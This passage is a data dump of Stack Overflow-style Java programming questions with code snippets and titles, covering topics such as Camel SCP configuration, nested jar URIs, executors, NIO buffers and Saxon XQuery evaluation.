DefaultMutableTreeNode node = ( DefaultMutableTreeNode ) value ; if ( node.getUserObject ( ) instanceof MyNode ) { MyNode mynode = ( MyNode ) node.getUserObject ( ) ; setText ( `` < html > '' + mynode.name + `` & nbsp ; < i > '' + mynode.argument ) ; } } return this ; } } }","How does one properly initialize a JTextPane StyleSheet , so no other HTML enabled component is affected by the style ?" +Java,"I 'm currently leveraging Apache Camel ( version 2.20.2 at the time of writing ) as part of a larger ETL flow to copy processed files from the Camel box to another machine.However , I 'm having a devil of a time dealing with the SCP configuration . The intention is to make it so that I do n't have to provide much outside of where the private key lives and where the known hosts live.Below is a sample route . The sample route is only for the sake of conversation ; it may not be accurate , but the intention here is not to display the upstream portion as `` working '' . I am assured that the file generation piece is working due to tests I have written upstream for it.What works : If I specify my username and password and disable strict host key checking , my route works.Of course , not having strict host checking is an absolute non-starter due to policy.What does n't work : If I specify my username and password and do not disable strict host key checking , I get this error : If I specify my username and password , do not disable strict host key checking and do not specify my preferred authentication type as `` password '' , I get the same error as above.If I omit my password in favor of specifying the path to my private key , and I disable strict host key checking , I get this error : If I do all of the above and include publickey as my preferred authentication , I get this error : In this scenario it seems Camel is outright ignoring my user , and is electing to use its own : Needless to say , the error messages here do n't give me much of anything to go off of , since : They wildly vary given the circumstanceThey are configuration specific ; it 's as if there 's something missing with each piece of configurationWith this in mind , what is the correct way to configure this ? Scattered documentation on the Camel mailing list does n't produce anything concrete , and the SCP documentation is of little actual help for these circumstances.Some other environmental things to note : I do not `` control '' either the machine that Camel will live on , nor the machine that will be receiving the files.I am testing this locally on my machine and my public key is absolutely contained on the host machine 's authorized_keys file.The known_hosts entry on my machine is hashed/obfuscated .",from ( `` direct : init '' ) .to ( `` file : ///tmp '' ) .to ( `` scp : //my.server.local ? username=makoto & password=XXXXXX '' + `` & preferredAuthentications=password '' + `` & strictHostKeyChecking=no '' ) ; com.jcraft.jsch.JSchException : reject HostKey : my.server.local at com.jcraft.jsch.Session.checkHost ( Session.java:789 ) ~ [ jsch-0.1.54.jar : na ] at com.jcraft.jsch.Session.connect ( Session.java:345 ) ~ [ jsch-0.1.54.jar : na ] at org.apache.camel.component.scp.ScpOperations.createSession ( ScpOperations.java:284 ) [ camel-jsch-2.20.2.jar:2.20.2 ] at org.apache.camel.component.scp.ScpOperations.connect ( ScpOperations.java:179 ) [ camel-jsch-2.20.2.jar:2.20.2 ] com.jcraft.jsch.JSchException : Auth cancel at com.jcraft.jsch.Session.connect ( Session.java:518 ) ~ [ jsch-0.1.54.jar : na ] at org.apache.camel.component.scp.ScpOperations.createSession ( ScpOperations.java:284 ) [ camel-jsch-2.20.2.jar:2.20.2 ] com.jcraft.jsch.JSchException : Auth fail at com.jcraft.jsch.Session.connect ( Session.java:519 ) ~ [ jsch-0.1.54.jar : na ] at org.apache.camel.component.scp.ScpOperations.createSession ( ScpOperations.java:284 ) [ camel-jsch-2.20.2.jar:2.20.2 ] at org.apache.camel.component.scp.ScpOperations.connect ( ScpOperations.java:179 ) [ camel-jsch-2.20.2.jar:2.20.2 ] 2018-02-19 10:46:15.142 DEBUG 23940 -- - [ obfuscated-route ] o.a.camel.component.scp.ScpOperations : Passphrase for camel-jsch2018-02-19 10:46:15.142 WARN 23940 -- - [ obfuscated-route ] o.a.camel.component.scp.ScpOperations : Private Key authentication not supported2018-02-19 10:46:15.142 DEBUG 23940 -- - [ obfuscated-route ] o.a.camel.component.scp.ScpOperations : Passphrase for camel-jsch2018-02-19 10:46:15.142 WARN 23940 -- - [ obfuscated-route ] o.a.camel.component.scp.ScpOperations : Private Key authentication not supported,What is the correct way to configure an SCP route with publickey authentication in Camel ? +Java,"It 's possible , although perhaps ill-advised , to read archive formats that are basically renamed .zip files ( .ear , .war , .jar , etc . ) , by using the jar : URI scheme . For example , the following code works well when the uri variable evaluates to a single , top-level archive , e.g . when uri equals jar : file : ///Users/justingarrick/Desktop/test/my_war.war ! / However , the getFileSystem and newFileSystem calls fail with an IllegalArgumentException when the URI contains nested archives , e.g . when uri equals jar : jar : file : ///Users/justingarrick/Desktop/test/my_war.war ! /some_jar.jar ! / ( a .jar inside of a .war ) . Is there a valid java.net.URI scheme for nested archive files ?","private FileSystem createZipFileSystem ( Path path ) throws IOException { URI uri = URI.create ( `` jar : '' + path.toUri ( ) .toString ( ) ) ; FileSystem fs ; try { fs = FileSystems.getFileSystem ( uri ) ; } catch ( FileSystemNotFoundException e ) { fs = FileSystems.newFileSystem ( uri , new HashMap < > ( ) ) ; } return fs ; }",Do valid java.net.URIs for nested archives exist ? +Java,"While creating classes in Java I often find myself creating instance-level collections that I know ahead of time will be very small - less than 10 items in the collection . But I do n't know the number of items ahead of time so I typically opt for a dynamic collection ( ArrayList , Vector , etc ) .A part of me keeps nagging at me that it 's wasteful to use complex dynamic collections for something this small in size . Is there a better way of implementing something like this ? Or is this the norm ? Note , I 'm not hit with any ( noticeable ) performance penalties or anything like that . This is just me wondering if there is n't a better way to do things .",class Foo { ArrayList < Bar > bars = new ArrayList < Bar > ( 10 ) ; },Using Small ( 1-10 Items ) Instance-Level Collections in Java +Java,"I 'm currently working on a project where we have to represent a set of vectors in a 3D environment . We have several different visualization implementations . I came to the idea , that I could bundle all the visualization types in an enum . I have defined an Interface VectorVisualization and several implementations which implement this interface.Now I have added to the Interface class the following enum : The label is for a JComboBox in the Gui . So I can now just iterate over the enum and get the label of the different types . Also to set a Implementation I can use the enum like that : But is this a nice way ? Or are there any problems with that approach ? Of course , now when you 've created a new implementation you have to add this to the enum.Thanks for your opinion !","public interface VectorVisualization { public enum VectorVisualizationType { CYLINDER ( new VectorVisualizationCylinder ( ) , `` Cylinder '' ) , CONES ( new VectorVisualizationCones ( ) , `` Cones '' ) , FATCONES ( new VectorVisualizationFatCones ( ) , `` Fat cones '' ) , ARROWS ( new VectorVisualizationArrows ( ) , `` Arrows '' ) ; private final String label ; private final VectorVisualization vis ; VectorVisualizationType ( VectorVisualization vis , String label ) { this.vis = vis ; this.label = label ; } public VectorVisualization getVisualization ( ) { return this.vis ; } public String getLabel ( ) { return this.label ; } } void prepareVBO ( GL gl , ArrayList < VectorData > vectors , VectorField field ) ; void render ( GL gl ) ; void clearOldVBOS ( GL gl ) ; } VectorVisualizationType.CYLINDER.getVisualization ( )",Using enums as a container of implementations +Java,"Where is some function to get the last day of month in my service ? So , this method correctly works elsewhere , but in US last day is always 29 ( last day - 1 ) stringDate is date in format `` yyyy-MM-dd ''","DateFormat format = new SimpleDateFormat ( `` yyyy-MM-dd '' , Locale.ENGLISH ) ; Date date = format.parse ( stringDate ) ; Calendar calendar = Calendar.getInstance ( ) ; calendar.setTime ( date ) ; calendar.add ( Calendar.MONTH , 1 ) ; calendar.set ( Calendar.DAY_OF_MONTH , 1 ) ; calendar.add ( Calendar.DATE , -1 ) ; Date lastDayOfMonth = calendar.getTime ( ) ; DateFormat sdf = new SimpleDateFormat ( `` yyyy-MM-dd '' ) ; return sdf.format ( lastDayOfMonth ) ;",Wrong last day of month +Java,"trawling through a few programming assignments ( first year ) and ive come up with this . when i run it , the program goes straight to the default on the switch statement . been up for about 24 hours straight now so im hardly aware but i just ca n't find whats going wrong.Could anyone point me in the write direction . I do n't want you to do it for me","// Practical 5B - Question 1// Nathan Griffin// 28/02/2013// Program to simulate a continuos system of deposits and withdraw for a bank account until user exits.import java.util.Scanner ; public class SingleAccountSim { public static void main ( String [ ] args ) { Scanner keyboardIn = new Scanner ( System.in ) ; BankAccount account = new BankAccount ( ) ; int menuSelect = 0 ; double depositIn , withdrawalOut ; do { System.out.println ( `` *_*_*Monopoly Bank*_*_* '' ) ; System.out.println ( `` 1 . Deposit money '' ) ; System.out.println ( `` 2 . Withdraw money '' ) ; System.out.println ( `` 3 . Get balance '' ) ; System.out.println ( `` 4 . Quit '' ) ; menuSelect = keyboardIn.nextInt ( ) ; switch ( menuSelect ) { case ' 1 ' : System.out.print ( `` Please enter the deposit amount : `` ) ; depositIn = keyboardIn.nextDouble ( ) ; account.deposit ( depositIn ) ; break ; case ' 2 ' : System.out.print ( `` Please enter the withdrawl amount : `` ) ; withdrawalOut = keyboardIn.nextDouble ( ) ; account.withdraw ( withdrawalOut ) ; break ; case ' 3 ' : System.out.print ( `` Your current balance is `` + account.getBalance ( ) ) ; break ; case ' 4 ' : System.out.print ( `` Quitting ... .. '' ) ; break ; default : System.out.println ( `` Invalid selection . Please try again '' ) ; } } while ( menuSelect ! =4 ) ; } }","Java , weird switch statement behaviour" +Java,"I possibly use the wrong terms , feel free to correct.I have a test method which takes a Runnable : I can call this method like this : Cool , I understand lambdas ! This is awesome . Let 's be super clever ... But what ? That does n't compile : 'void ' methods can not return a value . Does n't the first call also return a value though ? What is the difference between the first and the second call ?",void expectRollback ( Runnable r ) { .. } expectRollback ( ( ) - > aList.add ( x ) ) expectRollback ( ( ) - > aList.add ( x ) & & bList.add ( y ) ),Adding elements to different collections in a single lambda expression +Java,"I 'm currently trying to convert some Java code to Scala code . The challenge is to ensure that the converted Scala code does n't end up doing something very inefficient when compared to the original Java one . For e.g . when trying to convert the following code : Since Java relies on mutation , this code looks logical . But , now I want to convert this to its Scala equivalent without looping over the collection multiple times ( 3 times in this case ) .I can of course use mutable List from the Scala library and achieve the same thing as done by Java but was wondering if it was possible to generate multiple collections from a given sequence/collection in a functional/Scala way without iterating over the collection for n times where n is the criteria count . Thanks in advance !",class Person { String name ; Integer age ; Character gender ; } public class TestJava { public static void main ( String [ ] args ) { final List < Person > persons = new ArrayList < > ( ) ; final List < Person > males = new ArrayList < > ( ) ; final List < Person > aNames = new ArrayList < > ( ) ; final List < Person > seniors = new ArrayList < > ( ) ; for ( final Person p : persons ) { if ( p.gender == 'm ' ) { males.add ( p ) ; } if ( p.age > = 60 ) { seniors.add ( p ) ; } if ( p.name.startsWith ( `` a '' ) ) { aNames.add ( p ) ; } } } },Single iteration = > Multiple output collections from Java to Scala +Java,"I 've got a simple class for the illustration purposes : The bytecode produced by the compiler ( inspected by javap -c Test.class ) is the following : Why is the compiler not optimizing the test1 method to the same bytecode produced for the test2 method ? I would expect it to at least avoid redundant initialization of the result variable considering that it is easy to conclude that the value 100 is not used at all.I observed this with both Eclipse compiler and javac.javac version : 1.8.0_72 , installed as part of JDK together with Java :","public class Test { public int test1 ( ) { int result = 100 ; result = 200 ; return result ; } public int test2 ( ) { return 200 ; } } public int test1 ( ) ; Code : 0 : bipush 100 2 : istore_1 3 : sipush 200 6 : istore_1 7 : iload_1 8 : ireturnpublic int test2 ( ) ; Code : 0 : sipush 200 3 : ireturn Java ( TM ) SE Runtime Environment ( build 1.8.0_72-b15 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.72-b15 , mixed mode )",Why is Java compiler not optimizing a trivial method ? +Java,"I have an issue with actionBar compatibility on API level 15 for Android . The up button does n't work well with this API levelI use the sample project called `` actionbarcompat '' provided in the android-sdk folder , so I have imported all class 's and I extends all my activities with ActionBarActivity . I also add this piece of code in the Manifest for all my activities : and in my ActionBarActivity : This permit the user to touch the up button ( with the app icon ) to return to the MainActivityThis code works well with Android 2.3.3 and 4.2 , but does n't work with 4.0.1 and I do n't understand why . When the user touch the up button , nothing happens . Thanks for your help.PS : I ca n't use an external library , I have to use native code",< activity android : name= '' fr.appsolute.rescue.MyActivity '' android : label= '' @ string/title_activity_info '' android : parentActivityName= '' .MainActivity '' android : screenOrientation= '' portrait '' > < meta-data android : name= '' android.support.PARENT_ACTIVITY '' android : value= '' .MainActivity '' / > < /activity > @ Overridepublic boolean onOptionsItemSelected ( MenuItem item ) { // TODO Auto-generated method stub switch ( item.getItemId ( ) ) { case android.R.id.home : NavUtils.navigateUpFromSameTask ( this ) ; return true ; } return super.onOptionsItemSelected ( item ) ; },ActionBar Compatibility issue with API 15 +Java,"In java , we can override or implement abstract methods upon instance creation as follows : Is this possible in C # ? if Yes , what 's the equivalent codeThanks",AbstractClass test =new AbstractClass ( ) { public void AbstractMethod ( string i ) { } public void AbstractMethod2 ( string i ) { } } ;,Override abstract method upon instance creation in c # +Java,"i am working with Java and i am making a game . In this game the real time is very essensial part.For this reason i am trying to get the real time using Ntp.What i found in the web is this code.My problem is that using this , the system is still getting the System.currentMillis ( ) ; because it actually prints you the time that your local machine got the time message . For this reason if the player changes his Desktop time to the future , the game time will also change . If someone could help in order to have the real time i would be very thankful . P.S . i dont have a server , my game will be playing on Kongregate and the data will be on the players computer.Thanks in advance .",import java.net.InetAddress ; import java.util.Date ; import org.apache.commons.net.ntp.NTPUDPClient ; import org.apache.commons.net.ntp.TimeInfo ; public class test { public static void main ( String args [ ] ) throws Exception { String TIME_SERVER = `` time-a.nist.gov '' ; NTPUDPClient timeClient = new NTPUDPClient ( ) ; InetAddress inetAddress = InetAddress.getByName ( TIME_SERVER ) ; TimeInfo timeInfo = timeClient.getTime ( inetAddress ) ; long returnTime = timeInfo.getReturnTime ( ) ; Date time = new Date ( returnTime ) ; System.out.println ( `` Time from `` + TIME_SERVER + `` : `` + time ) ; } },How to get real time for a game +Java,"I would like to understand the best approach to the following problem.I have documents really similar to resume/cv and I have to extract entities ( Name , Surname , Birthday , Cities , zipcode etc ) .To extract those entities I am combining different finders ( Regex , Dictionary etc ) There are no problems with those finders , but , I am looking for a method / algorithm or something like that to confirm the entities.With `` confirm '' I mean that I have to find specific term ( or entities ) in proximities ( closer to the entities I have found ) .Example : I can confirm the entity < name > because it is closer to specific term that let me understand the `` context '' . If i have `` name '' or `` surname '' words near the entity so i can say that i have found the < name > with a good probability.So the goal is write those kind of rules to confirm entities . Another example should be : My address is ... ... , 00143 RomeItalian zipcodes are 5 digits long ( numeric only ) , it is easy to find a 5 digits number inside my document ( i use regex as i wrote above ) , and i also check it by querying a database to understand if the number exists . The problem here is that i need one more check to confirm ( definitely ) it.I must see if that number is near the entity < city > , if yes , ok ... I have good probabilities.I also tried to train a model but i do not really have a `` context '' ( sentences ) .Training the model with : does not sound good to me because : I have read we need many sentences to train a good modelThose are not `` sentences '' i do not have a `` context '' ( remember where I said the document is similar to resume/cv ) Maybe those phrases are too shortI do not know how many different ways i could find to say the exact thing , but surely I can not find 15000 ways : ) What method should I use to try to confirm my entities ? Thank you so much !",My name is < name > Name : < name > Name and Surname : < name > My name is : < name > John < /name > Name : < name > John < /name > Name/Surname : < name > John < /name > < name > John < /name > is my name,Best method to confirm an entity +Java,"If I want to automatically close a resource passed as an argument , is there a more elegant solution than this ? Ideally , I 'd like to have this resource closed automatically , without declaring another variable closeable that refers to the same object as out.AsideI realise that closing out within doSomething is considered a bad practice",void doSomething ( OutputStream out ) { try ( OutputStream closeable = out ) { // do something with the OutputStream } },automatically closing a resource passed as an argument +Java,"In a typical JAVA application , one configures a global ExecutorService for managing a global thread pool . Lets say I configure a fixed thread pool of 100 threads : Now lets say that I have a list of 1000 files to upload to a server , and for each upload I create a callable that will handle the upload of this one file.How can I limit the max number of concurrent uploads to , lets say , 5 ? if I do I dont have control on how many threads my 1000 tasks will take . Potentially 100 uploads will run in parallel , but I only want max 5.I would like to create some sort of sub-executor , wich uses a subset of the threads of the parent executor.I dont want to create a new separated executorService just for upload , because i want to manage my thread pool globally.Does any of you know how do to that or if an existing implementation exists ? Ideally something likeMany thanks , Antoine","ExecutorService threadPool = Executors.newFixedThreadPool ( 100 ) ; List < Callable > uploadTasks = new ArrayList < Callable > ( ) ; // Fill the list with 1000 upload tasks threadPool.invokeAll ( uploadTasks ) ; ExecutorService uploadThreadPool = Executors.createSubExecutor ( threadPool,5 ) ;",Use only a subset of threads in an ExecutorService +Java,"I have recently been developing a game for android . The game is of a similar format to the classic Pokemon games ( quite complex ) . I have got quite far without any problems . However , I am finding it difficult to develop the dialogue ( typewriter text ) boxes that appear at the bottom of the screen when someone is talking . I am stuck on waiting for any input without blocking the render and update methods ( as they all run on the same thread ) .This is a simplified version of my game loop , outlining the structure and what I do each frame . The update method shown is called through the View # onDraw method.As you can see , these operations update all the game components ( map , battles , guis etc . ) and then renders them to the screen . By looking at the code , it 's clear that I 'm running these operations on the same thread , so this thread can obviously not be blocked ( otherwise the game will just stop ) .This is where my problem is . I use an in game gui with a few buttons . These buttons are assigned to 8 integers ( 0-8 ) and when the up button is pressed for example , that input data is passed through the game to the existing dialog or battle or whatever needs it . These buttons rely on the main activity 's touch events where the MotionEvent which , as a result of running the game loop off of the onDraw method , tuns on the same thread as the game itself . Here is how I handle dialogs : I use javascript ( rhino parser ) as follows ( passing a dialog object to the script in the variable 'dialog ' ) : var d = dialog.show ( `` Hello ! How are you . `` ) ; To get the input , I call the getInput method which takes in the dialog , and up to 4 strings as selection options . This method is supposed to return an integer value . This can be called through the script as follows : var response = dialog.getInput ( d , `` I 'm fine , thank you ! `` , `` Who wants to know . `` ) ; The getInput method is as follows in my Dialog class : Now my main question is how to run this method without blocking the render and update thread . More specifically setting the value of d.lastInput and d.waitingForInput when the user touches a certain region of the screen ( where the gui select button is ) .If there are any doubts about what I am trying to ask in this question , please leave a comment as I am quite tired and have spent some time trying to solve this.EDIT : I have thought about running the input on a separate thread but this will still lead to blocking other input methods from being called ( such as changing the selected option in the dialog ) .","public static void update ( Canvas canvas , GameView view ) { //time operations ( calculating delta etc . ) long cTime = System.currentTimeMillis ( ) ; delta = cTime - time ; time = cTime ; globals.put ( `` time '' , time ) ; globals.put ( `` delta '' , delta ) ; //set vars for scripts camera.applyToCanvas ( canvas ) ; //apply camera matrix to canvas if ( map ! = null ) map.update ( ) ; if ( battle ! = null ) map.update ( ) ; Effect.updateAll ( ) ; //update everything ( game logic ) render.load ( canvas ) ; //load the canvas into my custom render engine render ( ) ; //call render method ( shown below ) view.invalidate ( ) ; //reset view for redraw } public static void render ( ) { render.reset ( ) ; //clears the canvas using canvas.setColor ( Color.BLACK ) if ( map ! = null ) map.draw ( ) ; if ( battle ! = null ) battle.draw ( ) ; if ( dialog ! = null ) dialog.draw ( ) ; if ( gui ! = null ) gui.draw ( ) ; //draw everything using the renderengine } public static int getInput ( Dialog d , String ... args ) { d.waitingForInput = true ; d.lastInput = -1 ; while ( d.waitingForInput || d.lastInput == -1 ) { //render options //main thread is obviously blocked here . } return d.getLastInput ( ) ; //returns the d.lastInput and resets waitingForInput and lastInput . The script can then use this value to decide what to do . }",Waiting for touch input without blocking game thread +Java,"My Jenkins build hangs between build and post-build steps . The console output shows there is a 6-minute wait ( but I 've seen waits of up to one hour ) : I found this and this questions that have similar issues , and they say the solution is setting -DSoftKillWaitSeconds=0 in jenkins.xml.However , I need a way to set the option for particular jobs only , without messing with global Jenkins settings ( I would n't want to mess with other projects ) .EDIT : When I manually abort the job , before the [ CucumberReport ] step , Cucumber reports are still generated.I also checked Abort the build if it 's stuck checkbox in Build Environment options , with Time-out strategy set to No Activity ( Timeout seconds = 2 ) . When I build the project with these settings , the build will fail with `` Aborted after 0 seconds '' shown in Build History , as before , but the console output will be the same . ( Nothing changes , Cucumber Reports will be generated but after a certain timeout ) .",10:53:26 BUILD FAILED in 1m 7s10:53:26 4 actionable tasks : 4 executed10:53:26 Build step 'Invoke Gradle script ' changed build result to FAILURE10:53:26 Build step 'Invoke Gradle script ' marked build as failure11:09:29 [ CucumberReport ] Using Cucumber Reports version 4.9.0,How to set ` killSoftly ` for a specific Jenkins job ? +Java,"Is there a way to swap myself ( this ) with some other object in Java ? In Smalltalk we could writeResult is An instance of subClass , obviously.I need to do following in Java : I am in a one-directional hierarchy ( directed acyclic graph ) in one of my methods ( event listener method to be exact ) I decide that I am not the best suited object to be here , so : I create a new object ( from a subclass of my class to be exact ) , swap myself with him , and let myself to be garbage-collected in near futureSo , in short , how can I achieve in Java self become : ( someClass new : someParameters ) ? Are there some known design patterns I could use ?",Object subclass : myClass [ `` in my method I swap myself with someone else '' swapWith : anObject [ self become : anObject . ^nil ] ] myClass subclass : subClass [ ] obj : = myClass new.obj swapWith : subClass new.obj inspect .,Java equivalent of Smalltalk 's become : +Java,"I am new to Java NIO and am unsure how to do things nio-ishly.Assume I have read some data from a socket into a ByteBuffer and consumed all bytes but one , using the get methods of ByteBuffer . I know the next thing will be four bytes with an integer in binary format , so I want to use getInt ( ) , but only the first byte of the int is in the buffer.The natural thing to me is to fill up the buffer with some more bytes from the connection and then continue . If I understand correctly , I could achieve this withand then read more bytes.Since there is no method with that behavior , but there is the flip ( ) method , I wonder if my thinking is wrong . Are there better ways to do this ? This situation will naturally occur e.g . if the connection delivers a stream of length + data messages .",buf.compact ( ) ; buf.position ( buf.limit ( ) ) ; buf.limit ( buf.capacity ( ) ) ;,How do I getInt from a ByteBuffer with only 1 remaining byte ( Java NIO ) +Java,"Sir , i am working in a java application.On that application i have to access files from `` My Documents '' . The problem is coming with windows version when i am using windows 7 , it can be accessed as `` Documents '' folder but for windows XP it is `` My Documents '' . I am writing following code to access files from `` Documents '' folder in windows 7 .and for Windows XpPlease could you suggest me a generic method , which can be applied for all the versions of Windows ?",public static void main ( String [ ] arr ) { try { String source = System.getProperty ( `` user.home '' ) + File.separator + `` Documents '' ; File [ ] Files = new File ( source ) .listFiles ( ) ; System.out.println ( Files.length ) ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; } } public static void main ( String [ ] arr ) { try { String source = System.getProperty ( `` user.home '' ) + File.separator + `` My Documents '' ; File [ ] Files = new File ( source ) .listFiles ( ) ; System.out.println ( Files.length ) ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; } },Error accessing file from `` My Documents '' for Windows Xp and Windows 7 +Java,"In the following code snippet , Foo1 is a class that increments a counter every time the method bar ( ) is called . Foo2 does the same thing but with one additional level of indirection.I would expect Foo1 to be faster than Foo2 , however in practice , Foo2 is consistently 40 % faster than Foo1 . How is the JVM optimizing the code such that Foo2 runs faster than Foo1 ? Some DetailsThe test was executed with java -server CompositionTest.Running the test with java -client CompositionTest produces the expected results , that Foo2 is slower than Foo1.Switching the order of the loops does not make a difference.The results were verified with java6 on both sun and openjdk 's JVMs.The Code",public class CompositionTest { private static interface DoesBar { public void bar ( ) ; public int count ( ) ; public void count ( int c ) ; } private static final class Foo1 implements DoesBar { private int count = 0 ; public final void bar ( ) { ++count ; } public int count ( ) { return count ; } public void count ( int c ) { count = c ; } } private static final class Foo2 implements DoesBar { private DoesBar bar ; public Foo2 ( DoesBar bar ) { this.bar = bar ; } public final void bar ( ) { bar.bar ( ) ; } public int count ( ) { return bar.count ( ) ; } public void count ( int c ) { bar.count ( c ) ; } } public static void main ( String [ ] args ) { long time = 0 ; DoesBar bar = null ; int reps = 100000000 ; for ( int loop = 0 ; loop < 10 ; loop++ ) { bar = new Foo1 ( ) ; bar.count ( 0 ) ; int i = reps ; time = System.nanoTime ( ) ; while ( i -- > 0 ) bar.bar ( ) ; time = System.nanoTime ( ) - time ; if ( reps ! = bar.count ( ) ) throw new Error ( `` reps ! = bar.count ( ) '' ) ; } System.out.println ( `` Foo1 time : `` + time ) ; for ( int loop = 0 ; loop < 10 ; loop++ ) { bar = new Foo2 ( new Foo1 ( ) ) ; bar.count ( 0 ) ; int i = reps ; time = System.nanoTime ( ) ; while ( i -- > 0 ) bar.bar ( ) ; time = System.nanoTime ( ) - time ; if ( reps ! = bar.count ( ) ) throw new Error ( `` reps ! = bar.count ( ) '' ) ; } System.out.println ( `` Foo2 time : `` + time ) ; } },How is Java jitting inefficient code to run faster than efficient code ? +Java,"Based upon a BlackJack Question , I got to wondering about how to indicate all of the winning hands . The original question simply asked , in effect , about the maximum of two numbers not greater than 21 . So a method likeHowever , what if one wished to return all of the winning hands ( assuming the location in the input array was a seat at a table ) , so a signature such as : So based upon input data such as ( just using 3 `` players '' at `` seats '' 0 , 1 , 2 ) : { 17 , 15 , 23 } { 23 , 25 , 22 } { 18 , 16 , 18 } { 16 , 21 , 20 } I would expect output along the lines of : Hands : [ 17 , 15 , 23 ] has winners at [ 0 ] Hands : [ 23 , 25 , 22 ] has no winners Hands : [ 18 , 16 , 18 ] has winners at [ 0 , 2 ] Hands : [ 16 , 21 , 20 ] has winners at [ 1 ] In times past , I would have iterated the hands [ ] array , found the maximum that was < = 21 , and then iterated again finding each index that was equal to the maximum . So something like this : However , I was wondering if there was a more efficient way to implement it via streams . I am cognizant that using Lambdas is not the solution to all problems . I believe , if I have read correctly , that is not possible to find the index of an int [ ] array directly , so the approach must rely upon using a List < Integer > , as suggested in the question referenced above.I made an initial solution using Streams , but was wondering if there was a more efficient approach . I fully admit my understand of streams is limited.The two approaches return the same data , so it is not a question of functionality per se . Rather , is there any way to make the blackjackByStreams better ? Especially , is there a way to eliminate the creation of the List < Integer > list ? Edit : I did read this question here , in which one answer suggested creating a custom collector . Not sure if that would be the only alternative approach.Thank you for providing any insight .","public int blackjack ( int a , int b ) ; /** * returns an array indicate the index in the specified hands that * correspond to the winning locations . Will return an empty array if * there are no winners . The length of the returned array is how many * winning hands there were * @ param hands The total for each hand , where the index is the seat * @ return the index/ '' seat '' where a winning hand was found ; may return * an empty array */public int [ ] blackjack ( int [ ] hands ) { ... } public static int [ ] blackjackByIteration ( int [ ] hands ) { int max = 0 ; int numAtMax = 0 ; for ( int i = 0 ; i < hands.length ; ++i ) { if ( hands [ i ] < = 21 & & hands [ i ] > max ) { max = hands [ i ] ; numAtMax = 1 ; } else if ( hands [ i ] == max ) { ++numAtMax ; } } int [ ] winningSeats = new int [ numAtMax ] ; int loc = 0 ; for ( int i = 0 ; i < hands.length ; ++i ) { if ( hands [ i ] == max ) { winningSeats [ loc++ ] = i ; } } return winningSeats ; } public static int [ ] blackjackByStreams ( int [ ] hands ) { // set to an empty array ; no winners in this hand int [ ] winningSeats = new int [ 0 ] ; // get the maximum that is < = 21 OptionalInt oi = Arrays.stream ( hands ) .filter ( tot - > tot < = 21 ) .max ( ) ; // if there are any hands that are < = 21 if ( oi.isPresent ( ) ) { // have to make a list ( ? ) List < Integer > list = Arrays.stream ( hands ) .boxed ( ) .collect ( Collectors.toList ( ) ) ; // find the location ( s ) in the list winningSeats = IntStream.range ( 0 , list.size ( ) ) .filter ( i - > list.get ( i ) == oi.getAsInt ( ) ) .toArray ( ) ; } return winningSeats ; }",Is There a More Efficient Java 8 Stream approach for finding the index in an int [ ] ? +Java,"The toComplie string contains all the definitions of the functions like sum , multiply , etc . appended by if ( $ a > 0 ) then ( iaf : numeric-equal ( iaf : numeric-multiply ( $ b , $ c ) , $ d ) ) else ( true ( ) ) The snippet executing this is : Which throws an exception as below : XPTY0004 : Required item type of the first operand of ' > ' is numeric ; supplied value has item type xs : stringPlease let me know if any more information is needed to understand the question . Is this because of the else part , or something else ? EDIT : In setExternalVariables ( ) , I 'm adding the variables using below line , using for-each loop . value variable is of type net.sf.saxon.s9api.XdmValue In setExternalVariables ( ) method , In getDoubleValue ( ) , In getStringValue ( ) , Current implementation and alternative ( 2 ) does not work for the rule mentioned above , and when I 'm returning double , it transforms big numbers into expression containing char E , for e.g . 5.12344E12 , which fails in other rules . Error on line 199 of module with no systemId : FORG0001 : Can not convert string `` 1.089563E9 '' to xs : decimal : invalid character ' E ' at iaf : splitValueThreshold ( ) ( module with no systemId # 20 ) at iaf : numeric-equal ( ) ( module with no systemId # 343 ) Please suggest any other option .","XQueryExecutable queryExecutable = xqueryCompiler.compile ( toCompile.toString ( ) ) ; XQueryEvaluator xqueryEvaluator = queryExecutable.load ( ) ; //setExternalVariables ( ) : function used to set the variables for the test contains below line xqueryEvaluator.setExternalVariable ( new QName ( memberName ) , value ) ; setExternalVariables ( xqueryEvaluator , assertionExpression ) ; xqueryResult = xqueryEvaluator.evaluate ( ) ; xqueryEvaluator.setExternalVariable ( new QName ( memberName ) , value ) ; // FACT_VALUE_FORMAT : % s ; % s -- where first string is value and second gives information about precision.//current optionXdmAtomicValue atomicValue = new XdmAtomicValue ( String.format ( FACT_VALUE_FORMAT , fact.getValue ( ) , getPrecision ( fact.getDecimals ( ) ) ) ) ; // alternative 1atomicValue = new XdmAtomicValue ( getDoubleValue ( fact ) ) ; //alternative 2atomicValue = new XdmAtomicValue ( getStringValue ( fact ) ) ; String precision = fact.getDecimals ( ) ; BigDecimal value = new BigDecimal ( fact.getValue ( ) ) ; if ( ( precision ! = null ) & & ( precision.equals ( INF_STRING ) == false ) ) { if ( Integer.parseInt ( precision ) > 0 ) { NumberFormat nf = NumberFormat.getNumberInstance ( Locale.US ) ; DecimalFormat df = ( DecimalFormat ) nf ; // If the decimal value is greater than 0 , then we need the decimal precision correct to n places of decimal df.setMaximumFractionDigits ( Integer.parseInt ( precision ) + 1 ) ; double doublePrecision = Math.pow ( 10 , -Integer.parseInt ( precision ) ) /2 ; df.setMaximumFractionDigits ( Integer.parseInt ( precision ) + 1 ) ; precision = df.format ( doublePrecision ) ; System.out.println ( `` doublePrecision\t : \t '' +doublePrecision ) ; return ( double ) Math.round ( value.doubleValue ( ) * doublePrecision ) / doublePrecision ; } else { int scale = ( int ) Math.pow ( 10 , -Integer.parseInt ( precision ) ) ; System.out.println ( `` scale\t : \t '' +scale ) ; return ( double ) Math.round ( value.doubleValue ( ) * scale ) / scale ; } } return value.doubleValue ( ) ; String value = fact.getValue ( ) ; String decimal = fact.getDecimals ( ) ; String DOT = `` \\ . `` ; if ( value.contains ( `` . `` ) ) { final int parseInt = Integer.parseInt ( decimal ) ; if ( parseInt > 0 ) { String [ ] split = value.split ( DOT ) ; value = split [ 0 ] ; if ( parseInt > =value.length ( ) ) { return `` 0 '' ; } for ( int i = 0 ; i < parseInt ; i++ ) { char [ ] array =value.toCharArray ( ) ; array [ value.length ( ) -i-1 ] = '' 0 '' .charAt ( 0 ) ; value = new String ( array ) ; } } else { final int parseNegativeInt = -Integer.parseInt ( decimal ) ; String [ ] split = value.split ( DOT ) ; String tempValue = split [ 1 ] ; if ( tempValue.length ( ) > parseNegativeInt ) { tempValue = 